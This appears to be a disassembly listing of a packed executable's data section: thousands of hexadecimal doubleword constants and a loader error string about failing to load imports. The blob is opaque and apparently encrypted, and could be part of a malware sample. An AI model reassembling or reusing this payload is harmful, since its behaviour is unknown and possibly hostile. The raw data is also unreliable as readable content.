dd 0EB1C31F2h, 0B9F8D275h, 0D411EB8Eh, 76B377A5h, 0ED4F1947h
dd 84C3A950h, 0D3932B59h, 313203Dh, 13200D3Fh, 852898F0h
dd 0DB24B2D7h, 0EB8E0419h, 7BA9D011h, 6D37DC62h, 54B6C3C0h
dd 13BFFB7h, 0BC309DCEh, 7FF6F73h, 84C4Bh, 375E9E00h, 0C9F8341Ah
dd 5A89C6ACh, 0E91C573Dh, 7DA8E6CCh, 2C865C60h, 0C0A6C3EEh
dd 553B587Fh, 0E8CEEB16h, 915E7BAEh, 0E8BC02B0h, 0E9421326h
dd 63A17B0Bh, 1A0549F7h, 138916C9h, 5DB983B1h, 1D56F31Eh
dd 0D8B255C5h, 0A1CE6B9Eh, 0EDB15F80h, 0F116C91Ah, 0B5E01F7Bh
dd 6620BD87h, 1C321305h, 0E9ADDB51h, 34617EADh, 0C1EF1E5Ah
dd 1D4608B6h, 0D2481320h, 0A7DA1470h, 2C12AF79h, 7C93C1F0h
dd 600EB127h, 13201D66h, 400432A8h, 719CDA03h, 73C8E10Fh
dd 0A03CA6Bh, 6B96D531h, 690C2F3Dh, 3342B935h, 0E413502Ah
dd 373BECB6h, 8FA9962Dh, 0B0ECD26Fh, 5D376481h, 0BE00AE22h
dd 40132093h, 763A68CAh, 14DE0C37h, 675B15B2h, 54132093h
dd 0DE0C3F7Ah, 0E93E7714h, 3822D073h, 7E132093h, 9251D30Eh
dd 0C7FA6123h, 3E083698h, 9DD9BFDCh, 2EA6DF1Fh, 9F4AB55h
dd 0F1BB3C9Ah, 0F295F759h, 596323D1h, 0F56B1320h, 94315899h
dd 59B644DCh, 65DC1320h, 0DA589410h, 860B4E3Ah, 0B5D23473h
dd 366493CFh, 20A4149Eh, 0A57FEE13h, 6A9F3C67h, 2E5D990Bh
dd 0FABC6A8Bh, 41320A7h, 0E7B7643Fh, 197B4911h, 479CD57Ch
dd 0EC0D2ED1h, 2099783Eh, 0B4108613h, 531D4B76h, 99C7FCB6h
dd 0C5F41320h, 0D3F8BC21h, 6816B9A0h, 13208826h, 0B39532A8h
dd 58799A3Dh, 2088E4AAh, 4474EA13h, 13208802h, 0C179168Ch
dd 709FDCB6h, 27D57842h, 13208867h, 9A54F167h, 0EF43A4F1h
dd 84C39D36h, 0EE87BC59h, 472513BDh, 1430D31h, 6FD30000h
dd 446FAD17h, 74913FE2h, 0BA1C3220h, 8CC7A144h, 0C4F2255Fh
dd 0CEFB98FAh, 6A87BAF4h, 286E1C3Dh, 5D132010h, 0FE76E60h
dd 9F156DD9h, 0AFE21C02h, 0C4F7320Ch, 5DFA2D68h, 206B0DA5h
dd 3E619863h, 336D37h, 90C3FDE3h, 427D5762h, 7EACD715h
dd 5A2452B4h, 6AE9DBA9h, 18B529C7h, 0F7148ADFh, 75A3D611h
dd 274477B1h, 0A6D40741h, 0E1621A0Eh, 0C6AFD26Bh, 5471A4DEh
dd 0C807346Eh, 0F60D3B9Dh, 0DA882BA1h, 0E6EC4894h, 0E001A41Ah
dd 0EC486C32h, 0DBB72E6h, 0E6EC4849h, 0E07DDF55h, 0EA155339h
dd 0DA50A5BCh, 48C18937h, 5FD5E6ECh, 0EF225C42h, 94BFFDC1h
dd 6A0B8266h, 0DB7E003Ah, 598CC7D0h, 0D7B835A8h, 38725875h
dd 0E65016C4h, 0E85EE6ECh, 0EC415886h, 0BFF9D376h, 0F7945E8Ch
dd 0E6521CCAh, 0E65CE6ECh, 76A9E3C9h, 1A458448h, 0F77E1BECh
dd 234073ADh, 0A781033Dh, 4C8EF60Dh, 677EAC0Eh, 4BF99C12h
dd 0E6ECD107h, 0C4F32F9Fh, 0C76ACC96h, 4C19F198h, 0B9F88542h
dd 3496608Eh, 0CB0AF097h, 0E823FDA0h, 496018B5h, 184784F4h
dd 0D1F213B6h, 0EC786323h, 58F56BE6h, 0EC78C89Eh, 4360D6E6h
dd 4C4C7B15h, 6CCFA135h, 0F02A10ADh, 0F67A0BDh, 0E522FC9Fh
dd 3EEC19B6h, 1C328671h, 8A64077Dh, 0B9EC264Bh, 0BC5FC18Bh
dd 1B77A6E2h, 0BB85B3DAh, 5291771Eh, 8AE2F927h, 56B8DF20h
dd 468405B3h, 1C9219D8h, 0B96C56EEh, 204F16C9h, 2CA0392Dh
dd 1A53F09Bh, 1AF52C2h, 1C328E98h, 4C7FB993h, 0D5B7541Eh
dd 336D315Fh, 7F68CF00h, 0AFA7698Ah, 4ECF3h, 0D7FE3E00h
dd 6998D4BAh, 0FA29664Ch, 89BCF7DDh, 1D48866Ch, 0CCE6FC00h
dd 6046638Eh, 0F5DBF81Fh, 886E8BB6h, 31FE1B4Eh, 0EFDCA250h
dd 89E21326h, 58176FABh, 0DB5298FBh, 741779FEh, 322179C6h
dd 214FC51Ch, 2023B889h, 4C26BF13h, 0E7B1DF12h, 4B60154Ah
dd 4526EA85h, 9D9Bh, 0C4EE6100h, 1816C91Ah, 0B1E41EF2h
dd 98466794h, 16C91AD6h, 8CC562D8h, 7220C335h, 16C91A24h
dd 420634AAh, 0A0E69408h, 2E16C91Ah, 0D9B356B8h, 27CE6B9Eh
dd 822597EEh, 1C4B8761h, 1A89C57Fh, 9F1516C9h, 692DDBFCh
dd 7516C91Ah, 0E6AA62FFh, 235C79ACh, 9B75ACCh, 16C91A19h
dd 13530122h, 9B16C91Ah, 30A68825h, 0DE1DF702h, 665C16B3h
dd 9C16C95Ah, 3F033160h, 0C2A6D403h, 0F8742A4Bh, 65DF481h
dd 5F43F194h, 0A716C95Ah, 0E3361431h, 77000000h, 5AE6A856h
dd 72E816C9h, 0A17BA7D5h, 60993665h, 0D4F59808h, 5795BEFAh
dd 732DCA2Ch, 1C321316h, 84B3F060h, 1D7333E1h, 57B1320h
dd 70B175A3h, 0A1F32C49h, 96D48225h, 2013201Dh, 1DE47CAAh
dd 5663AACCh, 25EBC0B5h, 2FBAD92Bh, 0EA1E600Eh, 609CECDFh
dd 0C663D931h, 85A5h, 4C7B6B00h, 7F5783F6h, 47801D64h
dd 28D679F5h, 16C9D566h, 84EFC1Dh, 9616C9D5h, 5887C420h
dd 3563D9BBh, 0D50F3071h, 0EA2340A2h, 0CB791C98h, 16C9D647h
dd 81C57394h, 916C9D5h, 0A7719FCAh, 16178A4Fh, 7E191E76h
dd 90EF6B1Ch, 89CA933Eh, 66940AECh, 0C976F4CEh, 0FE77EE16h
dd 0D4360153h, 9E2965FBh, 9C4AED4Fh, 16C90016h, 7EB1EBC5h
dd 0E689FFE1h, 0FB1896C5h, 381C5A71h, 0C98D4608h, 35D24816h
dd 4C7B608Eh, 0D26D5998h, 6093CE75h, 63066832h, 0C9A8F1B5h
dd 0EA87FD16h, 7C56CA04h, 0A3E3133Eh, 2B16C9A8h, 1A2553B5h
dd 0A8D60140h, 215B41DEh, 7C2A4BEEh, 16C9A83Ah, 0AB14EC4h
dd 660979D1h, 12C6B45h, 912DAA64h, 6C311C32h, 5F9D65E5h
dd 8B3C0634h, 0AF11FC63h, 26D9E981h, 7D1E1320h, 0EFEDB3F8h
dd 3D034526h, 0C9000000h, 4A7176Fh, 33A4C4D5h, 5102F900h
dd 0D7CA0F7Bh, 0BBE885D2h, 3275140Dh, 0CEFC721Ch, 0B2F4A2C3h
dd 38132057h, 177CFFAh, 5798AA64h, 3EDF1320h, 9AAC7437h
dd 0B7C44526h, 8A000000h, 0EAAC5A7Bh, 0F416C91Ah, 0C1FBE17Eh
dd 5E9C608Eh, 7BB69033h, 2FF3AB48h, 0D094C2F5h, 8C466396h
dd 16C91656h, 223F72ACh, 0A1CF023Ch, 1FC2328Ah, 3211C471h
dd 77940A1Ch, 0D376E63Eh, 6E99D8B2h, 0DE1A7640h, 1AB781AFh
dd 0C6907560h, 0A447BD19h, 44618CCAh, 0CF023D17h, 543AD7A1h
dd 41BAEB16h, 0E6F7161h, 20B5A16h, 1D5D0000h, 0B7F3D9F6h
dd 48856B88h, 0DB16FC19h, 67A58BA8h, 0C71B1F3Ch, 6582ADEBh
dd 0FA173E7Fh, 8DAAD514h, 1D3A6DA7h, 0FDC16F50h, 11326E2h
dd 84C2CAA8h, 1A246A18h, 65A616C9h, 0E70E63Eh, 5DD10BF1h
dd 0C91AEFAFh, 1779EF16h, 176FCCFAh, 0E2446FADh, 2E701E3Fh
dd 6516C91Ah, 0C91AF7B7h, 2981F716h, 3BE916B3h, 1C322926h
dd 24BCEA60h, 13200B1Eh, 0C8F62964h, 6D9BC604h, 2876FF9Ch
dd 565520C1h, 4526C68Ah, 0A8A6h, 88C26C00h, 25632755h
dd 0EE34CCFAh, 1416C916h, 0A48AA7DAh, 0BA94376Ah, 0B0F14D80h
dd 1D34EC89h, 4B255C5h, 1C3211ABh, 95D987A8h, 1913201Bh
dd 0E3C6FA9h, 6345E244h, 3F97D0EDh, 0BDA4280h, 51B33401h
dd 0F5F600AEh, 27819C6h, 1C47855Fh, 0C61C4A79h, 0F6AC57EDh
dd 0DE8F4009h, 0DE7B94DDh, 0E8135137h, 71B744B7h, 57130B6Fh
dd 111h, 0DFFC2363h, 718EBDF9h, 21F4E8Bh, 91AEE11Ch, 25426DABh
dd 0BBF9C121h, 4C8D7390h, 0E3220825h, 7BB59BB8h, 7D5E2B48h
dd 26E38FCFh, 0D8B60F13h, 3C5984C2h, 0CCE91C56h, 5B88C29Eh
dd 618FF11Ch, 0C59D2756h, 0C9106430h, 0D713A734h, 76137571h
dd 6235690h, 620575CDh, 3316E8B4h, 91CDA71Ch, 9CFE2968h
dd 3C6FAA6Eh, 45E2440Eh, 0B4BFED63h, 0CF6C9FDAh, 5F7CAFE9h
dd 7FBD3F79h, 280CCEEBh, 4D27CA2Ch, 0EAB4E211h, 8320538Eh
dd 615733CBh, 3651CA30h, 4B276715h, 31A75A3Ch, 8E165F94h
dd 0D7042154h, 0BB0662A8h, 6B08070Ah, 75184B85h, 5335A9Bh
dd 72D40741h, 1E591DD5h, 0D7AA769Ch, 0B2146676h, 7E40EE0Fh
dd 805A3CBAh, 41A3D610h, 0ED28ECA4h, 87C88CBAh, 0C4613260h
dd 271EDB1h, 83C0ED28h, 0FAC4F254h, 574D285Dh, 0E7CDEA1Dh
dd 904C7AADh, 19h, 89BCF7D1h, 0A17BBEECh, 45093762h, 0E1ABD908h
dd 0B9E4237Fh, 1D24C18Bh, 5B82C2AFh, 0FC2F692Dh, 0A0CB0ACEh
dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h
dd 75A4E0A4h, 54518647h, 4C18159h, 83000000h, 0C8704E9h
dd 89565C24h, 4C681E6h, 81000000h, 4EEh, 24348700h, 242C895Ch
dd 54A168h, 240C8900h, 0E2BA5251h, 8149F34Ah, 667880EAh
dd 54E28147h, 8166B10Dh, 3427F4F2h, 81D2F704h, 5FA7EAh
dd 5AD189A9h, 0C1D9F749h, 0F18108E9h, 0CA8303Bh, 69D5F181h
dd 0CD8909E8h, 0C8B5459h, 4C48124h, 83000000h, 148904ECh
dd 8BA24h, 0CA010000h, 0FF5A2A89h, 83592434h, 34FF04C4h
dd 0C4835D24h, 84CDE904h, 477AFFF9h, 95B87BE3h, 305EFFAh
dd 0ECE0FFC5h, 0C778B0CDh, 233BA5BAh, 2C0CEA0Dh, 8E5A95EEh
dd 0C71894B3h, 653E0AE4h, 5648D54Bh, 641C931Eh, 2E2CA71Fh
dd 0C45B89CBh, 2C35C5C7h, 0B953F229h, 25433984h, 0F25C4E1h
dd 0FB1F5A87h, 0A879C2FDh, 0E92AECE2h, 127h, 73765B50h
dd 154EEFACh, 0
aAnErrorHasOcur db 'An Error has ocurred while loading imports',0
db 37h
dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
dd 777E600h, 5 dup(0)
dd 0FD000000h, 77E7A5h, 2Bh dup(0)
dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 6F8F96A6h
dd 1137FC70h, 35B11C13h, 41DB0447h, 722B6166h, 0A9F29E35h
dd 88321177h, 678B90EFh, 0BFBF108Fh, 14D9ADA2h, 0D069C699h
dd 5513A8E5h, 5632108Fh, 0A9614571h, 88321177h, 678B90EFh
dd 0BFBF108Fh, 14D9A0D5h, 0D069C699h, 0F9B1D5EDh, 27DDEEA8h
dd 1B61A66h, 5321566h, 0ABF5F1E3h, 0AFE2EA63h, 0FEFA01E3h
dd 4EE2EA63h, 0AD3CF0E3h, 705A4363h, 0EEAEBDDEh, 612CE8D3h
dd 2BB79863h, 0DD37F91Ch, 24B79CB6h, 537FC63h, 0ABCE8BE3h
dd 0A7BF4563h, 14DDEE19h, 0D9A7EA36h, 8337FC6Bh, 0CB341CE3h
dd 11321563h, 6DB7D366h, 137FC68h, 505B7C0Eh, 5487EAE8h
dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0F81CB4E3h, 6DB7D363h
dd 737FC68h, 45594B0Eh, 5487EAFAh, 537FC45h, 0AD0BDAE3h
dd 0ABE2EA63h, 0FEC9A3E3h, 6DB7D363h, 1037FC68h, 405A3C0Eh
dd 5487EA88h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FEC9AFE3h
dd 6DB7D363h, 137FC68h, 420AD70Eh, 5487EABCh, 537FC45h
dd 0AD0BDAE3h, 0ABE2EA63h, 0FEC9ABE3h, 358F9663h, 4437FC67h
dd 22779069h, 94F41566h, 8DDB1B83h, 3AB47D23h, 97CDEF46h
dd 14DB3623h, 0B1FD90EBh, 94CD108Fh, 0D9F090EFh, 94F41089h
dd 8DDB1B83h, 94F17D2Ah, 97CDF540h, 14DB3623h, 0B1FD90EBh
dd 94CD108Fh, 0D9F490EFh, 51DB1089h, 4E321566h, 0AD3CF0E3h
dd 2F5A4763h, 0EE8E5F82h, 610134D3h, 8BB79863h, 0DD37FC5Fh
dd 0D3B79CB6h, 4E37FA9Dh, 0AD3CF0E3h, 6A5A4763h, 0EE94592Ch
dd 610134D3h, 8BB79863h, 0DD37FC5Fh, 0D7B79CB6h, 4E37FA9Dh
dd 0AD3CF0E3h, 0C85A4763h, 0EECF57D2h, 611150D3h, 8BB79863h
dd 0DD37FC5Fh, 9CB79CB6h, 4E37FC4Dh, 0AD3CF0E3h, 815A6263h
dd 0EEC182CEh, 61322CD3h, 8BB79863h, 0DD37FC5Fh, 34B79CB6h
dd 4E37FC4Bh, 0AD3CF0E3h, 355A4763h, 0EEB8C857h, 611150D3h
dd 8BB79863h, 0DD37FC5Fh, 80B79CB6h, 4E37FC44h, 0AD3CF0E3h
dd 1B5A4363h, 0EEE60A0Bh, 612CE8D3h, 2BB79863h, 0DD37F91Ch
dd 98B79CB6h, 4E37FC71h, 0AD3CF0E3h, 585A5263h, 0EEB3C976h
dd 611150D3h, 8BB79863h, 0DD37FC5Fh, 0D4B79CB6h, 4E37FC56h
dd 0AD3CF0E3h, 0C05A5263h, 0EEB81AD3h, 611150D3h, 8BB79863h
dd 0DD37FC5Fh, 0F7B79CB6h, 0B37FA9Dh, 0AD22BCDBh, 0A63D1563h
dd 11321337h, 86D790A0h, 2C7E108Fh, 0FBE8098Fh, 3277A099h
dd 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEEB4h, 86D790A0h
dd 2C7E108Fh, 0FF46CBA8h, 3277A099h, 0DBF108Fh, 41DB2CA9h
dd 0A7BBC599h, 14DDEEB0h, 86D790A0h, 2C7E108Fh, 95B39759h
dd 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEEBCh
dd 86D790A0h, 2C7E108Fh, 911D557Eh, 3277A099h, 0DBF108Fh
dd 41DB2CA9h, 0A7BBC599h, 14DDEEBCh, 86D790A0h, 2C74108Fh
dd 98EC1372h, 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h
dd 14DDEE84h, 86D790A0h, 2C75108Fh, 0A3EE051Ch, 3277A099h
dd 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEE8Ch, 86D790A0h
dd 2C75108Fh, 0CDB59BCAh, 3277A099h, 0DBF108Fh, 41DB2CA9h
dd 0A7BBC599h, 14DDEE88h, 86D790A0h, 2C75108Fh, 0F6A8B2B4h
dd 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEE94h
dd 86D790A0h, 2C75108Fh, 98F32C62h, 3277A099h, 0DBF108Fh
dd 41DB2CA9h, 0A7BBC599h, 14DDEE90h, 91BFA8E5h, 3132108Fh
dd 0C7B7D346h, 5637FC68h, 0FA1F720Eh, 187EA86h, 0AF37FC45h
dd 0F80BDAE3h, 1E2EA63h, 0ABC9EFE3h, 0C7B7D363h, 5637FC68h
dd 0A181A40Eh, 187EAE8h, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h
dd 0ABC9EBE3h, 0C7B7D363h, 5237FC68h, 0FE78B20Eh, 187EAA6h
dd 0AF37FC45h, 0F80BDAE3h, 1E2EA63h, 0ABCE17E3h, 0C7B7D363h
dd 5D37FC68h, 0EE5EFE0Eh, 7D87EA9Dh, 0AF37FC66h, 0F80BDAE3h
dd 1E2EA63h, 0ABCE83E3h, 0C7B7D363h, 5537FC68h, 0FBBC400Eh
dd 187EADDh, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h, 0ABCE13E3h
dd 0C7B7D363h, 5237FC68h, 65CE90Eh, 187EADAh, 0AF37FC45h
dd 0F80BDAE3h, 1E2EA63h, 0ABCE1FE3h, 0C7B7D363h, 4237FC68h
dd 980CBF0Eh, 187EAA0h, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h
dd 0ABCE1BE3h, 678F9663h, 1137FC4Eh, 88D29169h, 0C1F41566h
dd 27DB1B83h, 0DF037D20h, 3DCDEFF0h, 41DB3623h, 1BFD90EBh
dd 0C1CD108Fh, 745890EFh, 0C1F41089h, 27DB1B83h, 2BE47D20h
dd 3DCDE9C1h, 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 744890EFh
dd 0C1F41089h, 27DB1B83h, 0B5327D20h, 3DCD879Ah, 41DB3623h
dd 1BFD90EBh, 0C1CD108Fh, 744C90EFh, 0C1F41089h, 27DB1B83h
dd 5E587D20h, 3DCDE3B2h, 41DB3623h, 1BFD90EBh, 0C1CD108Fh
dd 74B090EFh, 0C1F41089h, 27DB1B83h, 41D57D20h, 3DCD81ABh
dd 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 745C90EFh, 0C1F41089h
dd 27DB1B83h, 65097D20h, 3DCDA444h, 41DB3623h, 1BFD90EBh
dd 0C1CD108Fh, 744090EFh, 0C1F41089h, 27DB1B83h, 0FBDF7D20h
dd 3DCDCA1Fh, 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 744490EFh
dd 0F9B11089h, 27DB0CEBh, 0D7126066h, 613CF0E3h, 1A5A4663h
dd 0DDFCAB86h, 0F81150D3h, 47B79863h, 0BB37FC5Fh, 30B79CB6h
dd 0D737FA9Ah, 613CF0E3h, 0C35A5263h, 0DDF5A438h, 0F81150D3h
dd 47B79863h, 0BB37FC5Fh, 34B79CB6h, 9237FA9Ah, 612B98DBh
dd 64471563h, 2CD790A0h, 7975108Fh, 6E506B63h, 6777A099h
dd 0A7BF108Fh, 14DB2CA9h, 0DBBC599h, 41DDE97Ch, 2CD790A0h
dd 7971108Fh, 1A481C90h, 6777A099h, 0A7BF108Fh, 14DB2CA9h
dd 0DBBC599h, 41DDE978h, 2CD790A0h, 7971108Fh, 74138246h
dd 6777A099h, 0A7BF108Fh, 14DB2CA9h, 0DBBC599h, 41DDE944h
dd 3BBFA8E5h, 6432108Fh, 6DB7D326h, 737FC68h, 229A160Eh
dd 5487EAEDh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE3FE3h
dd 6DB7D363h, 737FC68h, 7904C00Eh, 5487EA83h, 537FC45h
dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE33E3h, 6DB7D363h, 737FC68h
dd 8800F40Eh, 5487EA8Ch, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h
dd 0FECE3BE3h, 6DB7D363h, 737FC68h, 0D39E220Eh, 5487EAE2h
dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE27E3h, 6DB7D363h
dd 0B37FC68h, 17A2C10Eh, 5487EAF1h, 537FC45h, 0AD0BDAE3h
dd 0ABE2EA63h, 0FECE23E3h, 6DB7D363h, 0B37FC68h, 4C3C170Eh
dd 5487EA9Fh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE2FE3h
dd 6DB7D363h, 937FC68h, 154B5C0Eh, 5487EAAEh, 537FC45h
dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE57E3h, 6DB7D363h, 937FC68h
dd 0D57F9C0Eh, 5487EABAh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h
dd 0FECE2BE3h, 6DB7D363h, 1137FC68h, 391F220Eh, 5487EAFAh
dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE53E3h, 6DB7D363h
dd 737FC68h, 0F7C23F0Eh, 5487EAB4h, 537FC45h, 0AD0BDAE3h
dd 0ABE2EA63h, 0FECE5FE3h, 6DB7D363h, 1637FC68h, 6086FF0Eh
dd 5487EA9Bh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0F81998E3h
dd 6DB7D363h, 337FC68h, 0BA6B8C0Eh, 5487EA84h, 537FC45h
dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE5BE3h, 6DB7D363h, 337FC68h
dd 0DF52D70Eh, 5487EAD7h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h
dd 0FECE47E3h, 6DB7D363h, 337FC68h, 84CC010Eh, 5487EAB9h
dd 537FC45h, 0AD0BDAE3h
dd 0ABE2EA63h, 0FECE43E3h, 6DB7D363h, 1B37FC68h, 72C07D0Eh
dd 5487EAF8h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE4FE3h
dd 6DB7D363h, 0B37FC68h, 0DE492A0Eh, 5487EAA1h, 537FC45h
dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE93E3h, 6DB7D363h, 337FC68h
dd 795C590Eh, 5487EA9Ch, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h
dd 0FECE9FE3h, 6DB7D363h, 337FC68h, 2416D80Eh, 5487EAA5h
dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE9BE3h, 6DB7D363h
dd 1B37FC68h, 9952D90Eh, 5487EAB2h, 537FC45h, 0AD0BDAE3h
dd 0ABE2EA63h, 0FECE4BE3h, 6DB7D363h, 1B37FC68h, 0CB665B0Eh
dd 5487EAF8h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE77E3h
dd 6DB7D363h, 1B37FC68h, 311A5D0Eh, 5487EAB7h, 537FC45h
dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE73E3h, 0E0367F63h, 44320566h
dd 2222150Eh, 0EE327F66h, 613720F3h, 19B79C63h, 0AF37FC7Eh
dd 0FEF249E3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h
dd 0BDA7EA66h, 0CD37FC63h, 0CB1004E3h, 0C8B79C63h, 0E237FC42h
dd 54327D26h, 225A1566h, 7B321466h, 0BDA7EA66h, 0CD37FC63h
dd 0CB3078E3h, 34879E63h, 337FC70h, 0AD3EC8FBh, 17879C63h
dd 9837FC55h, 613198FBh, 99AF9E63h, 0A937FC6Ah, 11CB966Dh
dd 82ED9169h, 15621566h, 0ABF22606h, 0F80310E3h, 880EAB63h
dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
dd 9FBB0D18h, 14DB1A07h, 0D3DEAE3h, 4432156Ch, 22231B8Eh
dd 11A3FC66h, 3631566h, 40E07EB1h, 247780EFh, 1558108Fh
dd 8822150Eh, 44584766h, 27078099h, 94BB108Fh, 8DDB3EE3h
dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 198F9EB1h, 0A137FC7Eh
dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 610310E3h
dd 41A79E63h, 1B37FC57h, 0F83D74F3h, 82B61A63h, 1E321566h
dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27DB14B7h
dd 11321566h, 96BB90A1h, 4432108Fh, 9FB11566h, 14DDEEA8h
dd 80B61A66h, 0C9321566h, 0CD6D65FBh, 0EEE1EA63h, 611AC4E3h
dd 958F9663h, 4637FC4Eh, 11509769h, 0DF51566h, 41DB3DB7h
dd 22321567h, 0B7879806h, 537FA9Ah, 0B42B04DBh, 0A9CC3E63h
dd 4C8F9EB1h, 0B37FC7Eh, 8401EAAFh, 0E30013ECh, 96369E20h
dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 878B905Fh
dd 0C03D108Fh, 22321571h, 0FEFA8E5h, 8732108Fh, 44321FE3h
dd 2BB7D266h, 1037FC60h, 0E9321566h, 45215BDFh, 493AAF24h
dd 989F03C6h, 610120D3h, 0B874D263h, 22321566h, 0FFDCFB5Bh
dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
dd 44321560h, 26F49666h, 2207A0EFh, 71DB108Fh, 0CF32156Eh
dd 2BB726BEh, 0D037FC60h, 4A1916AEh, 7722D5A7h, 2BAF9CA7h
dd 2C37FC60h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 610120D3h
dd 99AF9E63h, 0A937FC6Ah, 71E29E6Dh, 0D19D7EDh, 41DB3C5Bh
dd 2130F5A7h, 0F823E8E3h, 8B9F8363h, 60769CA7h, 5EDB747Ah
dd 40321566h, 3FB2634h, 0AD1990F3h, 2D302E63h, 11322DE2h
dd 8CF09666h, 25BF2E27h, 2D37FC69h, 0EECDFDE3h, 3879899h
dd 0C937FA9Dh, 0CB21CCDBh, 0D1B6B963h, 88349169h, 0AD981566h
dd 0DDCDEA97h, 113215DEh, 0E5BF9866h, 0BB37FC28h, 27BF9C87h
dd 4B37FC57h, 15B9433Fh, 41DB19BBh, 0A7B91EEDh, 14DB2463h
dd 0D31F5B7h, 41DB0C5Fh, 44A4E355h, 13D2D4CBh, 99CF9065h
dd 0E9A4108Fh, 0A16CD465h, 0F82EB0DBh, 0C3D1463h, 4432155Fh
dd 177985Dh, 953D108Fh, 8832154Bh, 440B985Dh, 0A63D108Fh
dd 11321547h, 0A9E7985Dh, 0C03D108Fh, 22321573h, 1DB88EBh
dd 5BCD1096h, 0C1BBEDEDh, 27DB3217h, 1134A18Fh, 61AF9866h
dd 0BB37E576h, 878F96B5h, 1137FC7Ah, 882F9169h, 0C1091566h
dd 27DB17CFh, 113E9169h, 0D091566h, 41DB12A7h, 22379069h
dd 0A8DB1566h, 0B3CDEA99h, 0AD1CB4E3h, 3AB71A63h, 92321566h
dd 6133A8DBh, 0C13D1563h, 2232156Dh, 0D90E90EBh, 1DDB1089h
dd 7FCDEA99h, 0CB1CB4E3h, 98B61A63h, 0BCDEA99h, 0ABC992DBh
dd 0A73D1463h, 11321571h, 73D4905Dh, 0C13D1089h, 2232156Dh
dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 8B8F9699h, 1137FC76h
dd 8B559169h, 0C1091566h, 27DDEEB4h, 94B91213h, 8DDB3493h
dd 9EB72E21h, 5737FA9Dh, 0D4B79E61h, 0CF37FC43h, 0BFE4905Dh
dd 25471089h, 17A390EDh, 0B375108Fh, 0ABC9CBE3h, 0A9356063h
dd 0F832E0E3h, 0D095263h, 41DDEE84h, 0A7B91213h, 14DB1043h
dd 6EB72E21h, 3137FA9Dh, 0F3B79E61h, 5637FC41h, 73D8905Dh
dd 43471089h, 278790EDh, 2A75108Fh, 67C9FBE3h, 0CF356063h
dd 0CB1FE4E3h, 94095263h, 8DDDEE94h, 0C1B91213h, 27DB3A2Fh
dd 0E7B72E21h, 0FD37FA9Dh, 11B79E61h, 6537FC68h, 0EACC905Dh
dd 8F471089h, 42CF90EDh, 1975108Fh, 0FEC9EFE3h, 0B226063h
dd 0AD2B98DBh, 25471563h, 3DE390EDh, 0B75108Fh, 0AD36C4DBh
dd 2D461563h, 0EDB4905Dh, 8F471089h, 491790EDh, 0A175108Fh
dd 0F81A50DBh, 0FA461563h, 5463A8E5h, 5632108Fh, 7BB72E0Fh
dd 0FD37FA9Ah, 9DB79E61h, 6537FC48h, 0ED48905Dh, 8F471089h
dd 5A3390EDh, 1975108Fh, 0FECE7BE3h, 3356063h, 0AD25A0E3h
dd 0A7095263h, 14DDE918h, 0DB91213h, 41DB3867h, 0A0B72E21h
dd 6437FA9Ah, 9B79E61h, 337FC54h, 0DE40905Dh, 16471089h
dd 0A2B790EDh, 7F75108Fh, 0CDCE63E3h, 9A356063h, 613B1CE3h
dd 0F9B15263h, 27DB0537h, 1BB61A66h, 0B3321564h, 0ABCE17E3h
dd 0A9356063h, 0F81808E3h, 0D095263h, 41DDE9F0h, 0A7B91213h
dd 14DB1EE7h, 8EB72E21h, 3137FA9Ah, 0FFB79E61h, 5637FC4Bh
dd 7438905Dh, 43471089h, 2D0F90EDh, 2A75108Fh, 67CE1BE3h
dd 0CF356063h, 0CB2B7CE3h, 94095263h, 8DDDE974h, 0F9B10513h
dd 27DB0CEBh, 9A356066h, 613A00E3h, 0C1095263h, 27DDE970h
dd 94B91213h, 8DDB0A1Bh, 5EB72E21h, 5737FA9Ah, 9C8F9676h
